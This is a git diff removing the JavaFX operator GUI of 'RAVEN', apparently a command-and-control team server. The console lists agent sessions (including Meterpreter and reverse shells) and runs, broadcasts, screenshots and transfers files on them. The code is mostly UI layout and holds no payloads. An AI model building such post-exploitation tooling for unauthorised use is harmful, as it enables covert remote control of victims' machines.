+ " transparent;" + - "-fx-border-width: 0 0 1.5 0;" - ); - TopBar.setPadding(new Insets(0, 24, 0, 24)); - - UptimeLabel = LabelFactory.Muted("00:00:00", 9); - SessionCountLabel = LabelFactory.Primary("⊟ 0 Sessions", 9, false); - - HBox Right = new HBox(16); - Right.setAlignment(Pos.CENTER_RIGHT); - HBox.setHgrow(Right, Priority.ALWAYS); - Right.getChildren().addAll(UptimeLabel, StyleHelper.VDivider(), SessionCountLabel); - - VBox Heading = new VBox(2); - Heading.getChildren().addAll( - LabelFactory.Primary("RAVEN Operations Console", 20, true), - LabelFactory.Muted("Listener control • Session ops • CLI-aligned command center", 10) - ); - - if (Auth.GetOperatorName() != null) { - Label OpLabel = LabelFactory.Primary( - "Op: " + Auth.GetOperatorName() + " [" + (Auth.GetOperatorRole() != null ? Auth.GetOperatorRole().name() : "?") + "]", 8, false - ); - TopBar.getChildren().addAll(Heading, OpLabel, Right); - } else { - TopBar.getChildren().addAll(Heading, Right); - } - Main.setTop(TopBar); - - TabPane Tabs = new TabPane(); - Tabs.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE); - Tabs.setStyle("-fx-background-color: " + Palette.BG + "; -fx-tab-min-height: 42px; -fx-tab-max-height: 42px;"); - Tabs.getTabs().addAll( - Tab("Dashboard", BuildDashboardTab()), - Tab("Sessions", BuildSessionsTab()), - Tab("Terminal", BuildTerminalTab()), - Tab("Commands", BuildCommandCenterTab()), - Tab("Logs", BuildLogsTab()), - Tab("Settings", BuildSettingsTab()) - ); - Main.setCenter(Tabs); - return Main; - } - - private Tab Tab(String Name, javafx.scene.Node Content) { - Tab T = new Tab(Name); - T.setContent(Content); - return T; - } - - private ScrollPane BuildDashboardTab() { - VBox Content = new VBox(12); - Content.setPadding(new Insets(24)); - Content.setStyle("-fx-background-color: " + Palette.BG + ";"); - - GridPane Cards = new GridPane(); - Cards.setHgap(8); - Cards.setVgap(8); - Cards.add(CardBuilder.StatCard("⊟", "Total Sessions", "0", Palette.TEXT), 0, 0); - Cards.add(CardBuilder.StatCard("◉", "RAVEN", "0", Palette.RED), 1, 0); - Cards.add(CardBuilder.StatCard("◎", "Meterpreter", "0", Palette.TEXT), 2, 0); - Cards.add(CardBuilder.StatCard("◈", "Reverse Shell", "0", Palette.RED), 3, 0); - for (int I = 0; I < 4; I++) { - ColumnConstraints Col = new ColumnConstraints(); - Col.setPercentWidth(25); - Cards.getColumnConstraints().add(Col); - } - Content.getChildren().add(Cards); - - VBox Info = CardBuilder.Panel("TOOL INFORMATION"); - TextArea InfoText = new TextArea( - " Author : MatrixTM26\n" + - " Github : MatrixTM26\n" + - " Version : 3.0\n\n" + - " Use Sessions for fast actions and Commands for CLI-aligned workflows.\n" + - " Terminal executes agent commands; Command Center executes server/session utilities.\n\n" + - " GUI Commands:\n" + - " • sessions | status | stats | tasks\n" + - " • kill | sysinfo | note | getnote \n" + - " • history [id] [limit] | broadcast \n" + - " • exec | whoami | sleep \n" + - " • screenshot | download | upload " - ); - InfoText.setEditable(false); - InfoText.setPrefHeight(200); - StyleHelper.ApplyTermStyle(InfoText); - Info.getChildren().add(InfoText); - Content.getChildren().add(Info); - - ScrollPane Scroll = new ScrollPane(Content); - Scroll.setFitToWidth(true); - Scroll.setStyle("-fx-background-color: " + Palette.BG + ";"); - return Scroll; - } - - private VBox BuildSessionsTab() { - VBox Content = new VBox(8); - Content.setPadding(new Insets(12)); - Content.setStyle("-fx-background-color: " + Palette.BG + ";"); - - HBox Toolbar = new HBox(8); - Toolbar.setAlignment(Pos.CENTER_LEFT); - TextField Search = new TextField(); - Search.setPromptText("🔍 Search sessions..."); - StyleHelper.ApplyInputStyle(Search); - Search.setPrefWidth(220); - HBox.setHgrow(Search, Priority.ALWAYS); - - Button Refresh = ButtonFactory.Styled("⟳ Refresh", Palette.TEXT, true); - Button Execute = ButtonFactory.Styled("▶ Execute", Palette.RED, false); - Button Broadcast = ButtonFactory.Styled("⇶ Broadcast", Palette.TEXT, true); - Button Kill = ButtonFactory.Styled("⊘ Kill", Palette.RED, false); - Refresh.setOnAction(E -> SessionMgr.Refresh()); - Execute.setOnAction(E -> OpenExecuteWindow()); - Broadcast.setOnAction(E -> OpenBroadcastWindow()); - Kill.setOnAction(E -> KillSelected()); - Toolbar.getChildren().addAll(Search, Refresh, Execute, Broadcast, Kill); - Content.getChildren().add(Toolbar); - - HBox CmdRow = new HBox(8); - CmdRow.setAlignment(Pos.CENTER_LEFT); - CmdRow.setPadding(new Insets(4, 0, 4, 0)); - Label CmdLbl = LabelFactory.Danger("COMMAND:", 9); - CmdLbl.setStyle("-fx-font-weight: bold;"); - TextField SrvInput = new TextField(); - SrvInput.setPromptText("sessions | status | stats | tasks | kill | sysinfo | history [id] [limit] | note | exec "); - StyleHelper.ApplyInputStyle(SrvInput); - HBox.setHgrow(SrvInput, Priority.ALWAYS); - Button SrvExec = ButtonFactory.Styled("RUN", Palette.RED, false); - SrvExec.setOnAction(E -> Dispatcher.Dispatch(SrvInput.getText().trim(), SrvInput)); - SrvInput.setOnAction(E -> Dispatcher.Dispatch(SrvInput.getText().trim(), SrvInput)); - CmdRow.getChildren().addAll(CmdLbl, SrvInput, SrvExec); - Content.getChildren().add(CmdRow); - - SessionTable = new TableView<>(SessionRows); - SessionTable.setStyle( - "-fx-background-color: " + Palette.CARD + ";" + - "-fx-control-inner-background: " + Palette.CARD + ";" + - "-fx-table-cell-border-color: " + Palette.BORDER + ";" + - "-fx-table-header-border-color: " + Palette.BORDER + ";" + - "-fx-text-fill: " + Palette.TEXT + ";" + - "-fx-background-radius: 12;" - ); - String[] ColNames = {"ID", "Type", "Name/Cert", "IP", "OS", "User", "Host", "Session Key"}; - String[] Props = {"id", "type", "name", "ip", "os", "user", "host", "joined"}; - for (int I = 0; I < ColNames.length; I++) { - TableColumn Col = new TableColumn<>(ColNames[I]); - Col.setCellValueFactory(new PropertyValueFactory<>(Props[I])); - Col.setStyle("-fx-alignment: CENTER_LEFT; -fx-text-fill: " + Palette.TEXT + ";"); - SessionTable.getColumns().add(Col); - } - SessionTable.getSelectionModel().selectedItemProperty().addListener((Obs, Old, New) -> { - if (New != null) { - SelectedSessionId = Integer.parseInt(New.getId()); - if (SelectedAgentLabel != null) - SelectedAgentLabel.setText("● " + New.getName() + " #" + SelectedSessionId); - } - }); - VBox.setVgrow(SessionTable, Priority.ALWAYS); - Content.getChildren().add(SessionTable); - return Content; - } - - private VBox BuildTerminalTab() { - VBox Content = new VBox(8); - Content.setPadding(new Insets(12)); - Content.setStyle("-fx-background-color: " + Palette.BG + ";"); - - HBox Header = new HBox(8); - Header.setAlignment(Pos.CENTER_LEFT); - TermInputField = new TextField(); - TermInputField.setPrefWidth(80); - StyleHelper.ApplyInputStyle(TermInputField); - SelectedAgentLabel = LabelFactory.Muted("○ No agent selected", 9); - Button ClearBtn = ButtonFactory.Styled("Clear", Palette.CARD, false); - ClearBtn.setOnAction(E -> { if (TerminalOutput != null) TerminalOutput.clear(); }); - HBox.setHgrow(SelectedAgentLabel, Priority.ALWAYS); - Header.getChildren().addAll(LabelFactory.Muted("Session ID:", 9), TermInputField, SelectedAgentLabel, ClearBtn); - Content.getChildren().add(Header); - - TerminalOutput = new TextArea(); - TerminalOutput.setEditable(false); - TerminalOutput.setPrefHeight(400); - StyleHelper.ApplyTermStyle(TerminalOutput); - VBox.setVgrow(TerminalOutput, Priority.ALWAYS); - Content.getChildren().add(TerminalOutput); - - HBox InputRow = new HBox(8); - InputRow.setAlignment(Pos.CENTER_LEFT); - CmdInputField = new TextField(); - CmdInputField.setPromptText("Enter command..."); - StyleHelper.ApplyInputStyle(CmdInputField); - HBox.setHgrow(CmdInputField, Priority.ALWAYS); - Button SendBtn = ButtonFactory.Styled("Send", Palette.ACCENT, false); - SendBtn.setOnAction(E -> SendTerminalCommand()); - CmdInputField.setOnAction(E -> SendTerminalCommand()); - InputRow.getChildren().addAll(LabelFactory.Primary("❯", 11, true), CmdInputField, SendBtn); - Content.getChildren().add(InputRow); - return Content; - } - - private VBox BuildCommandCenterTab() { - VBox Content = new VBox(12); - Content.setPadding(new Insets(18)); - Content.setStyle("-fx-background-color: " + Palette.BG + ";"); - - VBox Help = CardBuilder.Panel("CLI-ALIGNED COMMANDS"); - TextArea HelpText = new TextArea( - "Server: sessions | status | stats | tasks\n" + - "Session: exec | kill | sysinfo \n" + - "Ops: broadcast | whoami | sleep \n" + - "Files: screenshot | download | upload \n" + - "Notes/History: note | getnote | history [id] [limit]" - ); - HelpText.setEditable(false); - HelpText.setPrefHeight(120); - StyleHelper.ApplyTermStyle(HelpText); - Help.getChildren().add(HelpText); - - HBox InputRow = new HBox(10); - InputRow.setAlignment(Pos.CENTER_LEFT); - TextField CommandInput = new TextField(); - CommandInput.setPromptText("Type GUI command matching CLI syntax..."); - StyleHelper.ApplyInputStyle(CommandInput); - HBox.setHgrow(CommandInput, Priority.ALWAYS); - Button Run = ButtonFactory.Styled("EXECUTE", Palette.RED, false); - Button Clear = ButtonFactory.Styled("CLEAR LOGS", Palette.TEXT, true); - Run.setOnAction(E -> Dispatcher.Dispatch(CommandInput.getText().trim(), CommandInput)); - CommandInput.setOnAction(E -> Dispatcher.Dispatch(CommandInput.getText().trim(), CommandInput)); - Clear.setOnAction(E -> { - LogEntries.clear(); - if (LogOutput != null) LogOutput.clear(); - }); - InputRow.getChildren().addAll(LabelFactory.Danger("❯", 16, true), CommandInput, Run, Clear); - - TextArea Mirror = new TextArea(); - Mirror.setEditable(false); - Mirror.setText("Command Center writes output to the Logs tab and mirrors operational events.\nStart the server first from Settings, then use Sessions/Commands."); - StyleHelper.ApplyTermStyle(Mirror); - VBox.setVgrow(Mirror, Priority.ALWAYS); - - Content.getChildren().addAll(Help, InputRow, Mirror); - return Content; - } - - private VBox BuildLogsTab() { - VBox Content = new VBox(8); - Content.setPadding(new Insets(12)); - Content.setStyle("-fx-background-color: " + Palette.BG + ";"); - - HBox Toolbar = new HBox(8); - Toolbar.setAlignment(Pos.CENTER_RIGHT); - Button ExportBtn = ButtonFactory.Styled("Export", Palette.TEXT, true); - Button ClearBtn = ButtonFactory.Styled("Clear", Palette.RED, false); - ClearBtn.setOnAction(E -> { - LogEntries.clear(); - if (LogOutput != null) LogOutput.clear(); - }); - Toolbar.getChildren().addAll(ExportBtn, ClearBtn); - Content.getChildren().add(Toolbar); - - LogOutput = new TextArea(); - LogOutput.setEditable(false); - StyleHelper.ApplyTermStyle(LogOutput); - VBox.setVgrow(LogOutput, Priority.ALWAYS); - Content.getChildren().add(LogOutput); - return Content; - } - - private ScrollPane BuildSettingsTab() { - VBox Content = new VBox(16); - Content.setPadding(new Insets(16)); - Content.setStyle("-fx-background-color: " + Palette.BG + ";"); - - VBox ServerCard = CardBuilder.Panel("Server Configuration"); - GridPane Fields = new GridPane(); - Fields.setHgap(16); - Fields.setVgap(8); - HostField = new TextField(Config.GetServerHost()); - PortField = new TextField(String.valueOf(Config.GetServerPort())); - StyleHelper.ApplyInputStyle(HostField); - StyleHelper.ApplyInputStyle(PortField); - Fields.add(LabelFactory.Muted("Host:", 9), 0, 0); - Fields.add(HostField, 1, 0); - Fields.add(LabelFactory.Muted("Port:", 9), 0, 1); - Fields.add(PortField, 1, 1); - ServerCard.getChildren().add(Fields); - - HBox Btns = new HBox(8); - StartBtn = ButtonFactory.Styled("▶ START SERVER", Palette.RED, false); - StopBtn = ButtonFactory.Styled("◼ STOP SERVER", Palette.RED, false); - StopBtn.setDisable(true); - StartBtn.setOnAction(E -> InitServer()); - StopBtn.setOnAction(E -> ServerCtrl.Stop()); - Btns.getChildren().addAll(StartBtn, StopBtn); - ServerCard.getChildren().add(Btns); - - VBox StatusCard = CardBuilder.Panel("Server Status"); - ServerStatusLabel = LabelFactory.Danger("● OFFLINE", 16, true); - ServerInfoLabel = LabelFactory.Muted("Not running", 10); - StatusCard.getChildren().addAll(ServerStatusLabel, ServerInfoLabel); - - Content.getChildren().addAll(ServerCard, StatusCard); - ScrollPane Scroll = new ScrollPane(Content); - Scroll.setFitToWidth(true); - Scroll.setStyle("-fx-background-color: " + Palette.BG + ";"); - return Scroll; - } - - private void InitServer() { - String Host = HostField.getText().trim(); - int Port; - try { - Port = Integer.parseInt(PortField.getText().trim()); - } catch (NumberFormatException E) { - ShowAlert("Invalid port number"); - return; - } - ServerCtrl = new ServerController( - Config, StatusLabel, ServerStatusLabel, ServerInfoLabel, StartBtn, StopBtn, - this::AddLog, this::EventHandler, - () -> { - SessionMgr = new SessionManager(ServerCtrl.GetServer(), Auth.GetDb(), SessionRows, SessionCountLabel); - Dispatcher = new CommandDispatcher(ServerCtrl.GetServer(), Auth.GetDb(), SessionMgr, this::AddLog, Auth.GetOperatorName()); - }, - () -> Platform.runLater(() -> { - SessionRows.clear(); - SessionCountLabel.setText("⊟ 0 Sessions"); - }) - ); - ServerCtrl.Start(Host, Port); - } - - private boolean ShowLoginDialog(Stage Owner) { - Dialog Dlg = new Dialog<>(); - Dlg.setTitle("TeamServer Login"); - Dlg.setHeaderText("RAVEN — Authentication"); - Dlg.initOwner(Owner); - - GridPane Grid = new GridPane(); - Grid.setHgap(12); - Grid.setVgap(8); - Grid.setPadding(new Insets(20, 20, 10, 20)); - - TextField UserField = new TextField(); - UserField.setPromptText("Username"); - PasswordField PassField = new PasswordField(); - PassField.setPromptText("Password"); - Label ErrLabel = new Label(""); - ErrLabel.setTextFill(Color.web(Palette.RED)); - - Grid.add(new Label("Username:"), 0, 0); - Grid.add(UserField, 1, 0); - Grid.add(new Label("Password:"), 0, 1); - Grid.add(PassField, 1, 1); - Grid.add(ErrLabel, 1, 2); - - ButtonType LoginBtn = new ButtonType("Login", ButtonBar.ButtonData.OK_DONE); - Dlg.getDialogPane().getButtonTypes().addAll(LoginBtn, ButtonType.CANCEL); - Dlg.getDialogPane().setContent(Grid); - Dlg.getDialogPane().setStyle("-fx-background-color: " + Palette.BG + ";"); - - Dlg.setResultConverter(Btn -> { - if (Btn == LoginBtn) { - return Auth.Authenticate(UserField.getText().trim(), PassField.getText()) ? true : null; - } - return false; - }); - - for (int I = 0; I < 3; I++) { - java.util.Optional Result = Dlg.showAndWait(); - if (Result.isEmpty() || Boolean.FALSE.equals(Result.get())) return false; - if (Boolean.TRUE.equals(Result.get())) return true; - ErrLabel.setText("Invalid credentials"); - } - return false; - } - - private void SendTerminalCommand() { - if (CmdInputField == null) return; - String SidStr = TermInputField.getText().trim(); - String Cmd = CmdInputField.getText().trim(); - if (SidStr.isEmpty() || Cmd.isEmpty()) return; - int Sid; - try { - Sid = Integer.parseInt(SidStr); - } catch (NumberFormatException E) { - WriteTerminal("[!] Invalid session ID\n"); - return; - } - if (ServerCtrl == null || !ServerCtrl.IsRunning()) { - WriteTerminal("[!] Server not running\n"); - return; - } - WriteTerminal("❯ " + Cmd + "\n"); - CmdInputField.clear(); - AddLog("[>] #" + Sid + ": " + Cmd); - final int FinalSid = Sid; - Executors.newSingleThreadExecutor().submit(() -> { - String[] Result = ServerCtrl.GetServer().ExecuteCommand(FinalSid, Cmd); - boolean Ok = Boolean.parseBoolean(Result[0]); - Platform.runLater(() -> { - WriteTerminal(Result[1] + "\n\n"); - AddLog((Ok ? "[+]" : "[!]") + " #" + FinalSid + ": " + (Ok ? "OK" : Result[1])); - }); - }); - } - - private void OpenExecuteWindow() { - if (SelectedSessionId < 0) { ShowAlert("Select a session first"); return; } - Stage Win = new Stage(); - Win.setTitle("Execute — SESSION-" + SelectedSessionId); - Win.setWidth(650); - Win.setHeight(450); - VBox Layout = new VBox(8); - Layout.setPadding(new Insets(12)); - Layout.setStyle("-fx-background-color: " + Palette.BG + ";"); - TextArea Out = new TextArea(); - Out.setEditable(false); - StyleHelper.ApplyTermStyle(Out); - VBox.setVgrow(Out, Priority.ALWAYS); - TextField Entry = new TextField(); - Entry.setPromptText("Enter command..."); - StyleHelper.ApplyInputStyle(Entry); - HBox.setHgrow(Entry, Priority.ALWAYS); - Button Run = ButtonFactory.Styled("Run", Palette.RED, false); - final int Sid = SelectedSessionId; - Runnable Exec = () -> { - String Cmd = Entry.getText().trim(); - if (Cmd.isEmpty()) return; - Out.appendText("❯ " + Cmd + "\n"); - Entry.clear(); - Executors.newSingleThreadExecutor().submit(() -> { - String[] Result = ServerCtrl.GetServer().ExecuteCommand(Sid, Cmd); - Platform.runLater(() -> Out.appendText(Result[1] + "\n\n")); - }); - }; - Run.setOnAction(E -> Exec.run()); - Entry.setOnAction(E -> Exec.run()); - HBox Input = new HBox(8); - Input.getChildren().addAll(LabelFactory.Primary("❯", 11, true), Entry, Run); - Layout.getChildren().addAll(Out, Input); - Win.setScene(new Scene(Layout)); - Win.show(); - Entry.requestFocus(); - } - - private void OpenBroadcastWindow() { - if (ServerCtrl == null || !ServerCtrl.IsRunning()) { ShowAlert("Server not running"); return; } - Stage Win = new Stage(); - Win.setTitle("Broadcast Command"); - Win.setWidth(600); - Win.setHeight(500); - VBox Layout = new VBox(8); - Layout.setPadding(new Insets(12)); - Layout.setStyle("-fx-background-color: " + Palette.BG + ";"); - - TextField TargetField = new TextField(); - TargetField.setPromptText("Session IDs: 1,2,3 or all"); - StyleHelper.ApplyInputStyle(TargetField); - HBox.setHgrow(TargetField, Priority.ALWAYS); - HBox TargetRow = new HBox(8); - TargetRow.setAlignment(Pos.CENTER_LEFT); - TargetRow.getChildren().addAll(LabelFactory.Muted("Target:", 9), TargetField); - - TextArea Out = new TextArea(); - Out.setEditable(false); - StyleHelper.ApplyTermStyle(Out); - VBox.setVgrow(Out, Priority.ALWAYS); - - TextField CmdField = new TextField(); - CmdField.setPromptText("Enter command..."); - StyleHelper.ApplyInputStyle(CmdField); - HBox.setHgrow(CmdField, Priority.ALWAYS); - Button RunBtn = ButtonFactory.Styled("⇶ Broadcast", Palette.RED, false); - - Runnable DoBroadcast = () -> { - String Target = TargetField.getText().trim(); - String Cmd = CmdField.getText().trim(); - if (Target.isEmpty() || Cmd.isEmpty()) return; - Out.appendText("⟳ Broadcasting [" + Target + "]: " + Cmd + "\n"); - CmdField.clear(); - Executors.newSingleThreadExecutor().submit(() -> { - Map Results; - if (Target.equalsIgnoreCase("all")) { - Results = ServerCtrl.GetServer().BroadcastAll(Cmd); - } else { - java.util.List Ids = new java.util.ArrayList<>(); - for (String S : Target.split(",")) { - try { Ids.add(Integer.parseInt(S.trim())); } - catch (NumberFormatException Ignored) {} - } - Results = ServerCtrl.GetServer().BroadcastCommand(Ids, Cmd); - } - final Map FinalResults = Results; - Platform.runLater(() -> FinalResults.forEach((Id, Res) -> { - boolean Ok = Boolean.parseBoolean(Res[0]); - Out.appendText("SESSION-" + Id + (Ok ? " ✔" : " ✘") + ":\n" + Res[1] + "\n\n"); - Auth.GetDb().SaveCommandLog(Id, "operator", Cmd, Res[1], Ok); - })); - }); - }; - RunBtn.setOnAction(E -> DoBroadcast.run()); - CmdField.setOnAction(E -> DoBroadcast.run()); - HBox InputRow = new HBox(8); - InputRow.setAlignment(Pos.CENTER_LEFT); - InputRow.getChildren().addAll(LabelFactory.Primary("❯", 11, true), CmdField, RunBtn); - Layout.getChildren().addAll(TargetRow, Out, InputRow); - Win.setScene(new Scene(Layout)); - Win.show(); - CmdField.requestFocus(); - } - - private void KillSelected() { - if (SelectedSessionId < 0) { ShowAlert("Select a session first"); return; } - Alert Confirm = new Alert(Alert.AlertType.CONFIRMATION, "Terminate SESSION-" + SelectedSessionId + "?"); - Confirm.showAndWait().ifPresent(R -> { - if (R == ButtonType.OK) { - SessionMgr.Kill(SelectedSessionId); - SelectedSessionId = -1; - if (SelectedAgentLabel != null) SelectedAgentLabel.setText("○ No agent selected"); - } - }); - } - - private void EventHandler(EventType Type, Map Data) { - switch (Type) { - case AgentConnected -> { AddLog("[+] [" + Data.get("Type") + "] SESSION-" + Data.get("ID") + ": " + Data.get("AgentName") + " (" + Data.get("OS") + ")"); Platform.runLater(() -> SessionMgr.Refresh()); } - case AgentDisconnected -> { AddLog("[-] SESSION-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); Platform.runLater(() -> SessionMgr.Refresh()); } - case Error -> AddLog("[!] " + Data.get("Message")); - } - } - - private void AddLog(String Msg) { - String Ts = LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss")); - String Entry = "[" + Ts + "] " + Msg; - LogEntries.add(Entry); - if (LogEntries.size() > Config.GetMaxLogEntries()) LogEntries.remove(0); - Platform.runLater(() -> { if (LogOutput != null) LogOutput.appendText(Entry + "\n"); }); - } - - private void WriteTerminal(String Text) { - if (TerminalOutput != null) TerminalOutput.appendText(Text); - } - - private void StartUptimeTimer() { - Thread Timer = new Thread(() -> { - while (true) { - try { Thread.sleep(1000); } catch (InterruptedException Ignored) {} - if (ServerCtrl != null && ServerCtrl.GetStartTime() != null) { - long S = Duration.between(ServerCtrl.GetStartTime(), Instant.now()).getSeconds(); - String Up = SystemHelper.FormatUptime(S); - Platform.runLater(() -> { if (UptimeLabel != null) UptimeLabel.setText("TIME: " + Up); }); - } - } - }); - Timer.setDaemon(true); - Timer.start(); - } - - private void ShowAlert(String Msg) { - Alert A = new Alert(Alert.AlertType.WARNING, Msg); - A.setHeaderText(null); - A.showAndWait(); - } -} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/button/ButtonFactory.java b/src/main/java/com/raven/interface/GUI/module/UI/button/ButtonFactory.java deleted file mode 100644 index 93535b3..0000000 --- a/src/main/java/com/raven/interface/GUI/module/UI/button/ButtonFactory.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.raven.interfaces.GUI.module.UI.button; - -import javafx.scene.control.Button; - -public final class ButtonFactory { - - private ButtonFactory() {} - - public static Button Styled(String Text, String Hex, boolean Outline) { - Button B = new Button(Text); - B.setStyle( - "-fx-background-color: " + (Outline ? "transparent" : Hex) + ";" + - "-fx-text-fill: " + (Outline ? Hex : "#ffffff") + ";" + - "-fx-border-color: " + Hex + ";" + - "-fx-border-width: 1.2;" + - "-fx-border-radius: 10;" + - "-fx-font-family: 'Segoe UI';" + - "-fx-font-size: 10px;" + - "-fx-font-weight: bold;" + - "-fx-padding: 8 16 8 16;" + - "-fx-background-radius: 10;" + - "-fx-cursor: hand;" - ); - return B; - } -} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/color/Palette.java b/src/main/java/com/raven/interface/GUI/module/UI/color/Palette.java deleted file mode 100644 index 0508d22..0000000 --- a/src/main/java/com/raven/interface/GUI/module/UI/color/Palette.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.raven.interfaces.GUI.module.UI.color; - -public final class Palette { - - private Palette() {} - - public static final String BG = "#050505"; - public static final String NAV = "#0b0b0d"; - public static final String CARD = "#101014"; - public static final String CARD2 = "#17171c"; - public static final String ACCENT = "#ffffff"; - public static final String RED = "#ff1f3d"; - public static final String TEXT = "#ffffff"; - public static final String MUTED = "#a7a7ad"; - public static final String BORDER = "#2a2a31"; - public static final String PURPLE = "#ff4d63"; - public static final String ORANGE = "#d6d6db"; - public static final String TERM_BG = "#050812"; -} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/frame/CardBuilder.java b/src/main/java/com/raven/interface/GUI/module/UI/frame/CardBuilder.java deleted file mode 100644 index 837efb3..0000000 --- a/src/main/java/com/raven/interface/GUI/module/UI/frame/CardBuilder.java +++ /dev/null @@ -1,54 +0,0 @@ -package com.raven.interfaces.GUI.module.UI.frame; - -import com.raven.interfaces.GUI.module.UI.color.Palette; -import com.raven.interfaces.GUI.module.UI.label.LabelFactory; -import javafx.geometry.Insets; -import javafx.scene.control.Separator; -import javafx.scene.layout.VBox; - -public final class CardBuilder { - - private CardBuilder() {} - - public static VBox StatCard(String Icon, String Title, String Value, String Hex) { - VBox Card = new VBox(4); - Card.setPadding(new Insets(18)); - Card.setStyle( - "-fx-background-color: linear-gradient(to bottom right, #111114, #070707);" + - "-fx-background-radius: 18;" + - "-fx-border-color: " + Hex + ";" + - "-fx-border-radius: 18;" + - "-fx-effect: dropshadow(gaussian, rgba(255,31,61,0.16), 22, 0.22, 0, 10);" - ); - Card.setMinHeight(104); - javafx.scene.layout.HBox Row = new javafx.scene.layout.HBox(8); - Row.setAlignment(javafx.geometry.Pos.CENTER_LEFT); - Row.getChildren().addAll( - LabelFactory.Styled(Icon, 28, Hex, false), - new VBox(2) {{ - getChildren().addAll( - LabelFactory.Styled(Title, 10, Palette.MUTED, false), - LabelFactory.Styled(Value, 24, Hex, true) - ); - }} - ); - Card.getChildren().add(Row); - return Card; - } - - public static VBox Panel(String Title) { - VBox Card = new VBox(8); - Card.setPadding(new Insets(18)); - Card.setStyle( - "-fx-background-color: linear-gradient(to bottom right, #111114, #090909);" + - "-fx-background-radius: 18;" + - "-fx-border-color: " + Palette.BORDER + ";" + - "-fx-border-radius: 18;" + - "-fx-effect: dropshadow(gaussian, rgba(255,31,61,0.12), 18, 0.16, 0, 8);" - ); - Separator Sep = new Separator(); - Sep.setStyle("-fx-background-color: " + Palette.BORDER + ";"); - Card.getChildren().addAll(LabelFactory.Primary(Title, 12, true), Sep); - return Card; - } -} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/frame/StyleHelper.java b/src/main/java/com/raven/interface/GUI/module/UI/frame/StyleHelper.java deleted file mode 100644 index 0f02439..0000000 --- a/src/main/java/com/raven/interface/GUI/module/UI/frame/StyleHelper.java +++ /dev/null @@ -1,58 +0,0 @@ -package com.raven.interfaces.GUI.module.UI.frame; - -import com.raven.interfaces.GUI.module.UI.color.Palette; -import javafx.geometry.Insets; -import javafx.scene.control.Separator; -import javafx.scene.control.TextArea; -import javafx.scene.control.TextField; -import javafx.scene.layout.Region; - -public final class StyleHelper { - - private StyleHelper() {} - - public static void ApplyInputStyle(TextField F) { - F.setStyle( - "-fx-background-color: " + Palette.CARD2 + ";" + - "-fx-text-fill: " + Palette.TEXT + ";" + - "-fx-prompt-text-fill: " + Palette.MUTED + ";" + - "-fx-font-family: 'Consolas';" + - "-fx-font-size: 11px;" + - "-fx-padding: 9 12 9 12;" + - "-fx-background-radius: 9;" + - "-fx-border-color: " + Palette.BORDER + ";" + - "-fx-border-radius: 9;" - ); - } - - public static void ApplyTermStyle(TextArea A) { - A.setStyle( - "-fx-background-color: " + Palette.TERM_BG + ";" + - "-fx-control-inner-background: " + Palette.TERM_BG + ";" + - "-fx-text-fill: " + Palette.TEXT + ";" + - "-fx-highlight-fill: " + Palette.RED + ";" + - "-fx-font-family: 'Consolas';" + - "-fx-font-size: 11px;" + - "-fx-padding: 12 14 12 14;" + - "-fx-background-radius: 12;" + - "-fx-border-color: " + Palette.BORDER + ";" + - "-fx-border-radius: 12;" - ); - A.setWrapText(true); - } - - public static Region VDivider() { - Region R = new Region(); - R.setStyle("-fx-background-color: " + Palette.BORDER + ";"); - R.setPrefWidth(1); - R.setPrefHeight(20); - return R; - } - - public static Separator HDivider() { - Separator S = new Separator(); - S.setPadding(new Insets(4, 16, 4, 16)); - S.setStyle("-fx-background-color: " + Palette.BORDER + ";"); - return S; - } -} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/label/LabelFactory.java b/src/main/java/com/raven/interface/GUI/module/UI/label/LabelFactory.java deleted file mode 100644 index fceb4fd..0000000 --- a/src/main/java/com/raven/interface/GUI/module/UI/label/LabelFactory.java +++ /dev/null @@ -1,31 +0,0 @@ -package com.raven.interfaces.GUI.module.UI.label; - -import com.raven.interfaces.GUI.module.UI.color.Palette; -import javafx.scene.control.Label; -import javafx.scene.paint.Color; -import javafx.scene.text.Font; -import javafx.scene.text.FontWeight; - -public final class LabelFactory { - - private LabelFactory() {} - - public static Label Styled(String Text, int Size, String Hex, boolean Bold) { - Label L = new Label(Text); - L.setFont(Font.font("Segoe UI", Bold ? FontWeight.BOLD : FontWeight.NORMAL, Size)); - L.setTextFill(Color.web(Hex)); - return L; - } - - public static Label Muted(String Text, int Size) { - return Styled(Text, Size, Palette.MUTED, false); - } - - public static Label Primary(String Text, int Size, boolean Bold) { - return Styled(Text, Size, Palette.TEXT, Bold); - } - - public static Label Danger(String Text, int Size, boolean Bold) { - return Styled(Text, Size, Palette.RED, Bold); - } -} diff --git a/src/main/java/com/raven/interface/GUI/module/core/database/AuthService.java b/src/main/java/com/raven/interface/GUI/module/core/database/AuthService.java deleted file mode 100644 index 612b454..0000000 --- a/src/main/java/com/raven/interface/GUI/module/core/database/AuthService.java +++ /dev/null @@ -1,30 +0,0 @@ -package com.raven.interfaces.GUI.module.core.database; - -import com.raven.core.db.TeamDatabase; -import com.raven.core.output.Logger; -import com.raven.utils.ServerConfig; - -public class AuthService { - - private final TeamDatabase Db; - private String OperatorName; - private TeamDatabase.OperatorRole OperatorRole; - - public AuthService(ServerConfig Config) { - this.Db = TeamDatabase.Connect(Config); - } - - public boolean Authenticate(String Username, String Password) { - if (Db.ValidateOperator(Username, TeamDatabase.HashPassword(Password))) { - OperatorName = Username; - OperatorRole = Db.GetOperatorRole(Username); - Logger.Info("GUI operator login: " + OperatorName + " [" + OperatorRole + "]"); - return true; - } - return false; - } - - public String GetOperatorName() { return OperatorName; } - public TeamDatabase.OperatorRole GetOperatorRole() { return OperatorRole; } - public TeamDatabase GetDb() { return Db; } -} diff --git a/src/main/java/com/raven/interface/GUI/module/core/server/CommandDispatcher.java b/src/main/java/com/raven/interface/GUI/module/core/server/CommandDispatcher.java deleted file mode 100644 index 9d68255..0000000 --- a/src/main/java/com/raven/interface/GUI/module/core/server/CommandDispatcher.java +++ /dev/null @@ -1,216 +0,0 @@ -package com.raven.interfaces.GUI.module.core.server; - -import com.raven.core.db.TeamDatabase; -import com.raven.core.server.RavenServer; -import com.raven.core.session.Session; -import 